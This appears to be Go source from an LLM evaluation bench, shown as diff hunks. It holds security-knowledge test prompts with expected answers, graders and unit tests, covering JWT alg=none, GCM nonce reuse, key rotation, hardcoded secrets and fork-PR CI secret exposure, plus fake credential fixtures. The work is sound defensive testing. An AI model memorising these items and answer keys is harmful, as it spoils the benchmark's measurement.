Subcategory: "crypto",
Description: "Name the timing-attack defect in comparing an HMAC signature with == and require hmac.Equal/subtle.ConstantTimeCompare.",
Prompt: prompt,
Eval: evaluator,
}
}
// secJWTAlgNoneTest: name the alg=none bypass and the allowlist-based fix.
//
// ground truth: a verifier that reads alg from the token's own header and
// skips verification whenever it is "none" lets an attacker forge any
// token by setting alg to none and stripping the signature entirely -
// nothing about the forged token's own claim of its algorithm should ever
// be trusted. The fix is to hardcode/allowlist the algorithm(s) the server
// expects and reject anything else, including "none", rather than letting
// the token pick its own verification mode.
func secJWTAlgNoneTest() testkit.Test {
prompt := `A JWT verification function decodes the token's header, reads
the alg field, and if alg is "none" it skips signature verification
entirely and trusts the claims as-is; for any other alg value it verifies
using the server's fixed HMAC secret.
What is the name of this vulnerability class, and what is the correct fix?
Respond with only a JSON object:
{"vuln":"<one of: alg-none-bypass, algorithm-confusion, weak-secret>","fix":"<one of: reject-alg-none, use-rs256, rotate-secret>"}`
evaluator := eval.Mean(
eval.JSONField("vuln", "alg-none-bypass"),
eval.JSONField("fix", "reject-alg-none"),
)
return testkit.Test{
ID: "sec-jwt-alg-none",
Category: "security",
Subcategory: "crypto",
Description: "Name the alg=none JWT verification bypass and require rejecting/allowlisting rather than trusting the token's own alg claim.",
Prompt: prompt,
Eval: evaluator,
}
}
// secTLSFloorPattern requires the digits 1.2 as a standalone version
// number, tolerant of a leading "TLS"/"TLSv" and surrounding punctuation.
const secTLSFloorPattern = `\b1\.2\b`
// secTLSFloorVersionTest: name the minimum TLS protocol version that
// excludes SSLv3/TLS 1.0/1.1 while remaining broadly compatible.
//
// ground truth: TLS 1.2 is the standard modern floor (NIST SP 800-52r2,
// PCI-DSS) that excludes the broken older protocols while remaining
// compatible with the wide range of still-supported clients that a
// TLS-1.3-only floor would reject.
func secTLSFloorVersionTest() testkit.Test {
prompt := `A public-facing HTTPS API must reject legacy, broken TLS
versions (SSLv3, TLS 1.0, TLS 1.1) while remaining compatible with the wide
range of still-supported modern clients (i.e. not requiring the newest
protocol version only).
What is the minimum TLS protocol version the server should be configured
to accept? Respond with only the version number, e.g. 1.2.`
return testkit.Test{
ID: "sec-tls-floor-version",
Category: "security",
Subcategory: "crypto",
Description: "Name TLS 1.2 as the minimum floor that excludes SSLv3/TLS 1.0/1.1 while staying broadly compatible.",
Prompt: prompt,
Eval: eval.Regex(secTLSFloorPattern),
}
}
// secAESGCMNonceReuseTest: name the consequence of reusing an AES-GCM
// nonce and the fresh-random-nonce fix.
//
// ground truth: reusing a (key, nonce) pair with AES-GCM is catastrophic,
// not just risky: two ciphertexts under the same key/nonce let an attacker
// XOR out the keystream and recover plaintext, and worse, GCM's
// authentication tag reuses the same hash subkey, letting an attacker
// derive it and forge new ciphertexts that still pass authentication. The
// fix is to generate a fresh, cryptographically random nonce for every
// encryption under a given key and never reuse a (key, nonce) pair.
func secAESGCMNonceReuseTest() testkit.Test {
prompt := `A service encrypts each payload with AES-256-GCM but reuses
the SAME 12-byte nonce for every encryption call under one key, to simplify
the API.
What is the concrete security consequence of reusing a GCM nonce with the
same key, and what is the fix?`
evaluator := eval.Mean(
eval.ContainsAny("forge", "forgery", "authentication", "keystream", "xor", "plaintext recovery", "break confidentiality"),
eval.ContainsAny("random nonce", "unique nonce", "fresh nonce", "never reuse", "crypto/rand"),
)
return testkit.Test{
ID: "sec-aes-gcm-nonce-reuse",
Category: "security",
Subcategory: "crypto",
Description: "Name the confidentiality/authentication break from AES-GCM nonce reuse and require a fresh random nonce per encryption.",
Prompt: prompt,
Eval: evaluator,
}
}
// secMathRandPattern matches a mention of Go's non-cryptographic math/rand
// package.
var secMathRandPattern = regexp.MustCompile(`(?i)\bmath/rand\b`)
// secRandSourceChoiceTest: require crypto/rand for a security token while
// not being penalized for correctly naming math/rand as unsuitable.
//
// ground truth: math/rand is a deterministic PRNG seeded (by default) from
// a predictable source; an attacker who can observe outputs or guess the
// seed can predict or brute-force future tokens generated from it, which
// is fatal for a password-reset token that grants account takeover.
// crypto/rand is seeded from the OS's CSPRNG and is the correct package for
// any security-sensitive token, key, or nonce.
func secRandSourceChoiceTest() testkit.Test {
prompt := `A function generates a password-reset token by calling
math/rand to produce 32 random bytes, then hex-encodes them for the reset
link.
Which Go standard-library package should be used instead of math/rand for
this purpose, and confirm: math/rand must never be used to generate a
security-sensitive token like this one. Explain the one concrete risk of
the current approach.`
evaluator := eval.Mean(
eval.ContainsAny("crypto/rand"),
secNoUnnegatedMention(secMathRandPattern),
)
return testkit.Test{
ID: "sec-rand-source-choice",
Category: "security",
Subcategory: "crypto",
Description: "Require crypto/rand for a security token without being penalized for correctly naming math/rand as unsuitable.",
Prompt: prompt,
Eval: evaluator,
}
}
// secRotateOrderWant is the single defensible ordering for
// secRotateOrderTest.
//
// ground truth: the old signing key must stay accepted for verification
// while the new key is introduced, or every token still in flight signed
// under the old key fails verification the instant the rotation starts.
// So: (1) add the new key to the accepted-for-verification set alongside
// the old one, (2) switch signing to the new key (already-issued old-key
// tokens still verify, since the old key remains accepted), (3) wait until
// every old-key token's TTL has elapsed, and only then (4) remove the old
// key from the verification set. Removing the old key any earlier breaks
// still-valid tokens that were signed under it.
var secRotateOrderWant = []string{
"add-new-key-to-verify-set",
"start-signing-with-new-key",
"wait-for-old-tokens-to-expire",
"remove-old-key-from-verify-set",
}
func secRotateOrderTest() testkit.Test {
prompt := `A signing key used to verify already-issued tokens must be
rotated to a new key. The rotation must never invalidate a token that was
issued under the old key and is still within its validity window, and it
must never allow a window where a still-valid token fails verification.
Order these 4 steps correctly:
["add-new-key-to-verify-set", "start-signing-with-new-key",
"wait-for-old-tokens-to-expire", "remove-old-key-from-verify-set"]
Respond with only a JSON array containing all 4 step ids in the correct
order.`
return testkit.Test{
ID: "sec-rotate-order",
Category: "security",
Subcategory: "crypto",
Description: "Order a zero-downtime signing-key rotation: add new key, switch signing, wait out old tokens, then remove the old key.",
Prompt: prompt,
Eval: eval.JSONStringArrayEquals(secRotateOrderWant),
}
}
// secHMACVsSignatureTest: choose asymmetric signing over shared-secret HMAC
// for cross-organization webhook verification.
//
// ground truth: HMAC requires both parties to hold the identical shared
// secret, which means either side could also forge a message as if it were
// the other (no non-repudiation), and the secret must be securely
// distributed between two separate organizations in the first place. An
// asymmetric signature scheme is built for exactly this: the signer keeps
// a private key, and any number of verifiers only ever need the signer's
// public key, which never needs to be kept secret from anyone.
func secHMACVsSignatureTest() testkit.Test {
prompt := `Two services, operated by DIFFERENT organizations, need to
exchange signed webhooks. Each side must be able to verify authenticity,
and neither side should ever need to possess the other side's private
signing material.
Should they use a shared-secret HMAC or an asymmetric signature scheme
(e.g. RSA or Ed25519)? Respond with only one word: hmac or asymmetric.`
return testkit.Test{
ID: "sec-hmac-vs-signature",
Category: "security",
Subcategory: "crypto",
Description: "Choose asymmetric signing over shared-secret HMAC for cross-organization webhook verification.",
Prompt: prompt,
Eval: secExactAnswer("asymmetric"),
}
}
// secManInTheMiddlePattern accepts the standard term for the attack with
// or without hyphens/spaces between the words.
const secManInTheMiddlePattern = `(?i)man[\s-]?in[\s-]?the[\s-]?middle`
// secCertChainValidationTest: name man-in-the-middle as the attack exposed
// by skipping certificate-chain verification.
//
// ground truth: skipping chain-of-trust verification (e.g.
// InsecureSkipVerify: true) means the client accepts ANY certificate the
// server presents, including a self-signed one generated on the fly by an
// attacker sitting between the client and the real server. That attacker
// can then decrypt, read, and re-encrypt traffic in both directions - the
// textbook definition of a man-in-the-middle attack.
func secCertChainValidationTest() testkit.Test {
prompt := `A TLS client connects to an HTTPS API and skips verifying
that the presented certificate chains up to a trusted root CA (e.g. Go's
InsecureSkipVerify: true).
What specific, standard-named attack does this expose the client to?
Respond with only the name of the attack.`
return testkit.Test{
ID: "sec-cert-chain-validation",
Category: "security",
Subcategory: "crypto",
Description: "Name man-in-the-middle as the attack exposed by skipping TLS certificate-chain verification.",
Prompt: prompt,
Eval: eval.Regex(secManInTheMiddlePattern),
}
}
// secHashVsEncryptPIITest: choose one-way hashing for a password and
// reversible encryption for a bank account number, based on whether the
// original value must ever be recovered.
//
// ground truth: a password only ever needs an equality check ("does this
// input match what was stored"), never recovery of the original value, so
// a one-way hash (bcrypt/argon2) is correct - and reversible encryption
// would be strictly worse, since a leaked key would make the plaintext
// password recoverable. A bank account number legitimately needs to be
// recovered and displayed later (e.g. for a support agent confirming the
// last 4 digits, or settlement), which a one-way hash makes impossible by
// design, so it must be reversibly encrypted at rest instead.
func secHashVsEncryptPIITest() testkit.Test {
prompt := `Two fields need to be stored securely:
field_a: a user's login password. It only ever needs to be checked for a
match against a future login attempt; the original value never needs to be
displayed or recovered.
field_b: a bank account number. A support agent must be able to view the
original value later, with proper authorization, to help a customer.
For each field, should the stored value be a one-way hash or a reversibly
decryptable encryption? Respond with only a JSON object:
{"field_a":"<hash|encrypt>","field_b":"<hash|encrypt>"}`
evaluator := eval.Mean(
eval.JSONField("field_a", "hash"),
eval.JSONField("field_b", "encrypt"),
)
return testkit.Test{
ID: "sec-hash-vs-encrypt-pii",
Category: "security",
Subcategory: "crypto",
Description: "Choose one-way hashing for a password versus reversible encryption for a bank account number that must later be recovered.",
Prompt: prompt,
Eval: evaluator,
}
}
+346
View File
@@ -0,0 +1,346 @@
package tests
import (
"context"
"testing"
)
func TestSecPasswordHashChoiceTest_Eval(t *testing.T) {
tc := secPasswordHashChoiceTest()
tests := []struct {
name string
response string
want float64
}{
{
name: "correct: bcrypt, negated MD5/SHA-256",
response: "Use bcrypt (cost >= 12) to hash passwords. Never use plain MD5 or SHA-256 for password storage.",
want: 1,
},
{
name: "correct: argon2id, negated SHA-1/MD5",
response: "argon2id is the right choice here; avoid SHA-1/MD5, they are far too fast for password hashing.",
want: 1,
},
{
name: "correct: bcrypt, negated SHA-256 after the term",
response: "bcrypt is fine. Don't use SHA-256 alone, it lacks a work factor.",
want: 1,
},
{
name: "wrong: recommends SHA-256 unnegated",
response: "Just hash the password with SHA-256 before storing it.",
want: 0,
},
{
name: "wrong: recommends MD5 unnegated",
response: "Store passwords hashed with MD5 for speed.",
want: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecConstantTimeCompareTest_Eval(t *testing.T) {
tc := secConstantTimeCompareTest()
tests := []struct {
name string
response string
want float64
}{
{
name: "correct: timing attack, hmac.Equal",
response: "This is vulnerable to a timing attack; use hmac.Equal instead of ==.",
want: 1,
},
{
name: "correct: timing side channel, subtle.ConstantTimeCompare",
response: "That's a timing side channel. Use subtle.ConstantTimeCompare to fix it.",
want: 1,
},
{
name: "correct: constant-time phrasing, ConstantTimeCompare",
response: "Comparing with == leaks timing information (constant-time is required). Use crypto/subtle's ConstantTimeCompare function.",
want: 1,
},
{
name: "wrong: claims == is fine",
response: "This looks fine, == works for byte slice comparison.",
want: 0,
},
{
name: "wrong: bytes.Equal is still not constant-time",
response: "Use bytes.Equal instead of ==.",
want: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecJWTAlgNoneTest_Eval(t *testing.T) {
tc := secJWTAlgNoneTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"vuln":"alg-none-bypass","fix":"reject-alg-none"}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"vuln\":\"alg-none-bypass\",\"fix\":\"reject-alg-none\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "vuln": "alg-none-bypass", "fix": "reject-alg-none" }`, want: 1},
{name: "wrong vuln", response: `{"vuln":"algorithm-confusion","fix":"reject-alg-none"}`, want: 0.5},
{name: "wrong fix", response: `{"vuln":"alg-none-bypass","fix":"use-rs256"}`, want: 0.5},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecTLSFloorVersionTest_Eval(t *testing.T) {
tc := secTLSFloorVersionTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct bare", response: "1.2", want: 1},
{name: "correct with TLS prefix", response: "TLS 1.2", want: 1},
{name: "correct in a sentence", response: "The minimum should be 1.2.", want: 1},
{name: "wrong: TLS 1.3", response: "1.3", want: 0},
{name: "wrong: TLS 1.0", response: "1.0", want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecAESGCMNonceReuseTest_Eval(t *testing.T) {
tc := secAESGCMNonceReuseTest()
tests := []struct {
name string
response string
want float64
}{
{
name: "correct: forge, random nonce",
response: "This lets an attacker forge ciphertexts because the authentication tag's key material repeats; use a fresh random nonce per encryption.",
want: 1,
},
{
name: "correct: authentication/forgery, unique nonce",
response: "It breaks GCM's authentication guarantee, allowing forgery. Generate a unique nonce for every encryption call.",
want: 1,
},
{
name: "correct: keystream, never reuse plus crypto/rand",
response: "An attacker can recover the plaintext via keystream reuse. Never reuse a nonce; use crypto/rand to generate one each time.",
want: 1,
},
{
name: "wrong: claims reuse is fine",
response: "This is fine as long as the key is secret.",
want: 0,
},
{
name: "wrong: irrelevant fix suggested",
response: "Just use a bigger nonce size.",
want: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecRandSourceChoiceTest_Eval(t *testing.T) {
tc := secRandSourceChoiceTest()
tests := []struct {
name string
response string
want float64
}{
{
name: "correct: crypto/rand, negated math/rand after the term",
response: "Use crypto/rand instead; math/rand must never be used for a security token like this.",
want: 1,
},
{
name: "correct: crypto/rand, negated math/rand before the term",
response: "crypto/rand is correct here. Avoid math/rand - it's a deterministic PRNG predictable by an attacker.",
want: 1,
},
{
name: "correct: crypto/rand, math/rand not suitable phrasing",
response: "Switch to crypto/rand. math/rand is not suitable for security-sensitive tokens since it's predictable.",
want: 1,
},
{
name: "wrong: endorses math/rand unnegated",
response: "math/rand works well for this use case.",
want: 0,
},
{
name: "wrong: endorses math/rand as good enough",
response: "math/rand is good enough for a reset token.",
want: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecRotateOrderTest_Eval(t *testing.T) {
tc := secRotateOrderTest()
tests := []struct {
name string
response string
want float64
}{
{
name: "correct order",
response: `["add-new-key-to-verify-set","start-signing-with-new-key","wait-for-old-tokens-to-expire","remove-old-key-from-verify-set"]`,
want: 1,
},
{
name: "correct order fenced with prose",
response: "Here is the order:\n```json\n[\"add-new-key-to-verify-set\",\"start-signing-with-new-key\",\"wait-for-old-tokens-to-expire\",\"remove-old-key-from-verify-set\"]\n```",
want: 1,
},
{
name: "correct order different case",
response: `["Add-New-Key-To-Verify-Set","Start-Signing-With-New-Key","Wait-For-Old-Tokens-To-Expire","Remove-Old-Key-From-Verify-Set"]`,
want: 1,
},
{
name: "wrong: fully reversed",
response: `["remove-old-key-from-verify-set","wait-for-old-tokens-to-expire","start-signing-with-new-key","add-new-key-to-verify-set"]`,
want: 0,
},
{
name: "wrong: removes old key too early",
response: `["add-new-key-to-verify-set","remove-old-key-from-verify-set","start-signing-with-new-key","wait-for-old-tokens-to-expire"]`,
want: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecHMACVsSignatureTest_Eval(t *testing.T) {
tc := secHMACVsSignatureTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct bare", response: "asymmetric", want: 1},
{name: "correct with period", response: "Asymmetric.", want: 1},
{name: "correct quoted", response: `'asymmetric'`, want: 1},
{name: "wrong bare", response: "hmac", want: 0},
{name: "wrong uppercase", response: "HMAC", want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecCertChainValidationTest_Eval(t *testing.T) {
tc := secCertChainValidationTest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct hyphenated", response: "man-in-the-middle", want: 1},
{name: "correct spaced in a sentence", response: "This exposes the client to a man in the middle attack.", want: 1},
{name: "correct capitalized", response: "MITM stands for Man-In-The-Middle, which is the attack here.", want: 1},
{name: "wrong: replay attack", response: "replay attack", want: 0},
{name: "wrong: denial of service", response: "denial of service", want: 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
func TestSecHashVsEncryptPIITest_Eval(t *testing.T) {
tc := secHashVsEncryptPIITest()
tests := []struct {
name string
response string
want float64
}{
{name: "correct", response: `{"field_a":"hash","field_b":"encrypt"}`, want: 1},
{name: "correct fenced with prose", response: "```json\n{\"field_a\":\"hash\",\"field_b\":\"encrypt\"}\n```", want: 1},
{name: "correct with spacing", response: `{ "field_a": "hash", "field_b": "encrypt" }`, want: 1},
{name: "wrong field_a", response: `{"field_a":"encrypt","field_b":"encrypt"}`, want: 0.5},
{name: "wrong field_b", response: `{"field_a":"hash","field_b":"hash"}`, want: 0.5},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tc.Eval.Evaluate(context.Background(), tt.response)
if got.Value != tt.want {
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
}
})
}
}
+369
View File
@@ -0,0 +1,369 @@
package tests
import (
"github.com/lukaszraczylo/llm-testbench/internal/eval"
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
)
func registerSecuritySecretsTests(r *testkit.Registry) {
r.Register(secHardcodedSecretSpotTest())
r.Register(secRemediationOrderTest())
r.Register(secVaultTradeoffTest())
r.Register(secK8sSecretBase64Test())
r.Register(secRotationNoDowntimeTest())
r.Register(secLeastPrivilegeScopeTest())
r.Register(secDiffSecretSpotTest())
r.Register(secForkPRCIExposureTest())
r.Register(secSSHAgentIdentityTest())
r.Register(secGitignoreHistoryNuanceTest())
}
// secHardcodedSecretFixture is a synthetic Go source file (FIXTURE:
// prompt-only, never compiled) for secHardcodedSecretSpotTest.
const secHardcodedSecretFixture = `1: package main
2:
3: import "net/http"
4:
5: const stripeAPIKey = "sk-live-51H-FIXTURE-0000000000000000"
6:
7: func NewPaymentClient() *http.Client {
8: return &http.Client{}
9: }`
// secHardcodedSecretSpotTest: spot a live API key hardcoded as a Go
// constant.
//
// ground truth: line 5 hardcodes a live Stripe secret key directly in
// source. It ships to every clone of the repository, and to every commit
// in its history forever, instead of being loaded from an environment
// variable or a secret manager at runtime.
func secHardcodedSecretSpotTest() testkit.Test {
prompt := `Here is a Go source file. Each displayed line is prefixed with
its 1-based position in this listing:
` + secHardcodedSecretFixture + `
Which line number hardcodes a live secret directly in source? Respond with
only a JSON object: {"line":<number>}`
return testkit.Test{
ID: "sec-hardcoded-secret-spot",
Category: "security",
Subcategory: "secrets",
Description: "Spot a live Stripe API key hardcoded as a Go constant.",
Prompt: prompt,
Eval: eval.JSONField("line", 5),
}
}
// secRemediationOrderWant is the single defensible ordering for
// secRemediationOrderTest.
//
// ground truth: the credential is already compromised the instant it was
// pushed to a shared remote - anyone with clone access, CI logs, or a
// cached fork already has it. Rewriting history does not un-expose a
// credential that has already been fetched elsewhere, so rotating it at
// the source (the provider) is the only step that actually closes the
// exposure, and it must happen first. Only after the live credential is
// rotated does it make sense to (2) remove the secret from the current
// code, (3) rewrite git history to purge it from old commits, and (4)
// force-push and notify collaborators so their existing clones don't
// silently resurrect the purged history on their next pull.
var secRemediationOrderWant = []string{
"rotate-the-leaked-credential",
"remove-secret-from-current-code",
"rewrite-git-history-to-purge-it",
"force-push-and-notify-collaborators",
}
func secRemediationOrderTest() testkit.Test {
prompt := `A secret was committed to a git repository and already pushed
to a shared remote that multiple collaborators have cloned.
Order these 4 remediation steps correctly:
["rotate-the-leaked-credential", "remove-secret-from-current-code",
"rewrite-git-history-to-purge-it", "force-push-and-notify-collaborators"]
Respond with only a JSON array containing all 4 step ids in the correct
order.`
return testkit.Test{
ID: "sec-remediation-order",
Category: "security",
Subcategory: "secrets",
Description: "Order a committed-secret remediation: rotate the credential first, since history rewriting cannot un-expose an already-cloned secret.",
Prompt: prompt,
Eval: eval.JSONStringArrayEquals(secRemediationOrderWant),
}
}
// secVaultTradeoffTest: identify a SealedSecret, not a plain env-var
// literal or a plain (base64) Kubernetes Secret, as safe to commit to a
// GitOps git repository.
//
// ground truth: base64 is a reversible encoding, not encryption, so both a
// literal env var in the Deployment YAML and a plain Kubernetes Secret
// manifest are effectively plaintext the moment they land in git history.
// A SealedSecret is asymmetrically encrypted, decryptable only by the
// private key held inside the cluster's controller, so the ciphertext
// committed to git carries no usable secret to anyone who only has the git
// repository.
func secVaultTradeoffTest() testkit.Test {
prompt := `A database password must be supplied to a pod in a cluster
whose manifests are all committed to a GitOps git repository. Three ways to
supply it are on the table:
- env-var-literal: the password as a plaintext value directly in the
Deployment YAML.
- plain-k8s-secret: a Kubernetes Secret manifest (its data field is
base64-encoded) committed directly to git as-is.
- sealed-secret: a SealedSecret, asymmetrically encrypted so that only the
cluster's own controller (holding the matching private key) can decrypt
it, committed to git as ciphertext.
Which one of these three is actually safe to commit to the git repository
as-is? Respond with only a JSON object:
{"safe_to_commit":"<one of: env-var-literal, plain-k8s-secret, sealed-secret>"}`
return testkit.Test{
ID: "sec-vault-tradeoff",
Category: "security",
Subcategory: "secrets",
Description: "Identify a SealedSecret, not a plaintext env var or a plain base64 Kubernetes Secret, as safe to commit to a GitOps repository.",
Prompt: prompt,
Eval: eval.JSONField("safe_to_commit", "sealed-secret"),
}
}
// secK8sSecretBase64Test: confirm base64 encoding provides no
// confidentiality on its own.
//
// ground truth: base64 is a reversible ENCODING with no key involved -
// anyone who can read the manifest text can decode it with a single
// command (base64 -d) to recover the plaintext. It provides zero
// confidentiality by itself; real encryption-at-rest for a Kubernetes
// Secret needs an additional mechanism (etcd encryption, SealedSecrets, or
// an external secret manager).
func secK8sSecretBase64Test() testkit.Test {
prompt := `A Kubernetes Secret manifest stores its data field values
base64-encoded.
Is base64 encoding, by itself, a form of encryption that keeps the
secret's value confidential from anyone who can read the manifest? Respond
with only one word: yes or no.`
return testkit.Test{
ID: "sec-k8s-secret-base64",
Category: "security",
Subcategory: "secrets",
Description: "Confirm that Kubernetes Secret base64 encoding is not encryption and provides no confidentiality by itself.",
Prompt: prompt,
Eval: secExactAnswer("no"),
}
}
// secRotationNoDowntimeWant is the single defensible ordering for
// secRotationNoDowntimeTest.
//
// ground truth: during a rolling deploy some replicas are still running
// with the old credential while others have already picked up the new
// one, so the database must accept BOTH credentials throughout the
// rollout. That means: (1) create the new credential alongside the old one
// (both now valid), (2) deploy the config carrying the new credential to
// all replicas (a rolling deploy that takes time, during which both
// credentials must keep working), (3) verify every replica has confirmed
// it is actually using the new credential, and only then (4) revoke the
// old credential. Revoking the old credential any earlier is exactly what
// causes an outage, since replicas that have not yet rolled would suddenly
// fail to authenticate.
var secRotationNoDowntimeWant = []string{
"create-new-credential-alongside-old",
"deploy-config-with-new-credential-to-all-replicas",
"verify-all-replicas-using-new-credential",
"revoke-old-credential",
}
func secRotationNoDowntimeTest() testkit.Test {
prompt := `A database password used by a running service with multiple
replicas must be rotated without causing any request to fail
authentication during the rollout.
Order these 4 steps correctly:
["create-new-credential-alongside-old",
"deploy-config-with-new-credential-to-all-replicas",
"verify-all-replicas-using-new-credential", "revoke-old-credential"]
Respond with only a JSON array containing all 4 step ids in the correct
order.`
return testkit.Test{
ID: "sec-rotation-no-downtime",
Category: "security",
Subcategory: "secrets",
Description: "Order a zero-downtime database-credential rotation across a multi-replica rolling deploy.",
Prompt: prompt,
Eval: eval.JSONStringArrayEquals(secRotationNoDowntimeWant),
}
}
// secLeastPrivilegeScopeTest: pick the credential scoped to exactly what a
// CI job needs, not a broader one that could also do the job.
//
// ground truth: the job's actual need is "push one image to one
// repository." Granting anything broader - org-wide write, or worse,
// account-wide admin - hands the CI runner, and anything that compromises
// it (a malicious build dependency, a leaked runner log), far more power
// than the task requires. The least-privilege-adequate credential is
// scoped to push access on exactly that one repository.
func secLeastPrivilegeScopeTest() testkit.Test {
prompt := `A CI job's only job is to push a Docker image to one specific
container image repository after a successful build. Nothing else in the
pipeline needs registry access.
Which credential scope should this CI job be given? Respond with only a
JSON object:
{"scope":"<one of: account-wide-admin-key, org-wide-write-key, single-repo-push-key>"}`
return testkit.Test{
ID: "sec-least-privilege-scope",
Category: "security",
Subcategory: "secrets",
Description: "Pick a single-repository push-only credential over a broader org- or account-wide key for a CI image-push job.",
Prompt: prompt,
Eval: eval.JSONField("scope", "single-repo-push-key"),
}
}
// secDiffSecretFixture is a synthetic unified diff (FIXTURE: prompt-only,
// never compiled) for secDiffSecretSpotTest. Each displayed line is
// prefixed with its 1-based position in this listing.
// #nosec G101 -- prompt-only fixture text, never compiled; it demonstrates a
// plaintext credential landing in a diff about to be committed, which is
// exactly the bug this test asks the model to spot.
const secDiffSecretFixture = `1: @@ -10,6 +10,8 @@
2: func NewMailer() *Mailer {
3: return &Mailer{
4: Host: "smtp.example.com",
5: + Username: "[email protected]",
6: + Password: "Sup3rSecretSmtpPass!",
7: }
8: }`
// secDiffSecretSpotTest: spot the added line that introduces a plaintext
// credential in a diff about to be committed.
//
// ground truth: added line 6 introduces the SMTP account's plaintext
// password literal directly into source about to be committed and pushed -
// a credential leak the moment this diff lands. Added line 5 is a
// non-secret username/email and is not itself a credential leak.
func secDiffSecretSpotTest() testkit.Test {
prompt := `Here is a unified diff about to be committed. Each displayed
line is prefixed with its 1-based position in this listing:
` + secDiffSecretFixture + `
Which line number introduces a plaintext credential into source about to
be committed? Respond with only a JSON object: {"line":<number>}`
return testkit.Test{
ID: "sec-diff-secret-spot",
Category: "security",
Subcategory: "secrets",
Description: "Spot the added diff line that introduces a plaintext SMTP password about to be committed.",
Prompt: prompt,
Eval: eval.JSONField("line", 6),
}
}
// secForkPRCIExposureTest: confirm repository secrets must not be exposed
// to workflow runs triggered by pull requests from forks.
//
// ground truth: a fork PR's workflow YAML and code are attacker-controlled
// - the fork's author can modify the workflow to print or exfiltrate any
// secret made available to it as an environment variable. Secrets must
// never be exposed to a pull_request-triggered run originating from a
// fork; the standard fix is gating secret-bearing steps to trusted
// triggers (pushes to protected branches, or a maintainer-approved
// pull_request_target with the checkout pinned) instead.
func secForkPRCIExposureTest() testkit.Test {
prompt := `A CI pipeline runs on every pull request, including ones
opened from forks by contributors who did not write the workflow file
themselves. The pipeline exposes repository secrets (e.g. a deploy token)
as environment variables to that pull request's workflow run.
Should repository secrets be exposed to a workflow run triggered by a pull
request from a fork? Respond with only one word: yes or no.`
return testkit.Test{
ID: "sec-fork-pr-ci-exposure",
Category: "security",
Subcategory: "secrets",
Description: "Confirm repository secrets must not be exposed to CI workflow runs triggered by pull requests from forks.",
Prompt: prompt,
Eval: secExactAnswer("no"),
}
}
// secSSHAgentIdentityTest: name IdentityAgent as the ssh_config directive
// for a 1Password-style external agent, and explain why it beats a
// disk-resident IdentityFile.
//
// ground truth: IdentityAgent points the ssh client at an external agent's
// socket (e.g. 1Password's) instead of the default ssh-agent. With it, the
// private key material never touches disk at all - it stays inside the
// external agent's vault, unlocked only while that agent is unlocked. An
// IdentityFile pointing at a raw key on disk is a persistent copy of the
// private key sitting in the filesystem indefinitely, which is worse than
// never having a disk copy in the first place, encrypted passphrase or not.
func secSSHAgentIdentityTest() testkit.Test {
prompt := `You use 1Password as your SSH agent instead of the default
ssh-agent or a key file on disk.
Which ~/.ssh/config directive tells the ssh client to use 1Password's
agent socket instead of the default agent, and why is a hardcoded
private-key IdentityFile path a worse choice for this setup?`
evaluator := eval.Mean(
eval.ContainsAll("IdentityAgent"),
eval.ContainsAny("disk", "filesystem", "never leaves", "never touch", "persistent copy", "sitting on disk"),
)
return testkit.Test{
ID: "sec-ssh-agent-identity",
Category: "security",
Subcategory: "secrets",
Description: "Name IdentityAgent as the ssh_config directive for a 1Password-style agent, versus a disk-resident IdentityFile.",
Prompt: prompt,
Eval: evaluator,
}
}
// secGitignoreHistoryNuanceTest: confirm a later .gitignore entry and
// working-tree deletion do not remove a secret from earlier git history.
//
// ground truth: .gitignore only stops git from tracking NEW changes to a
// path going forward; deleting the file in a later commit only removes it
// from the CURRENT tree. The file's full contents still exist, unencrypted,
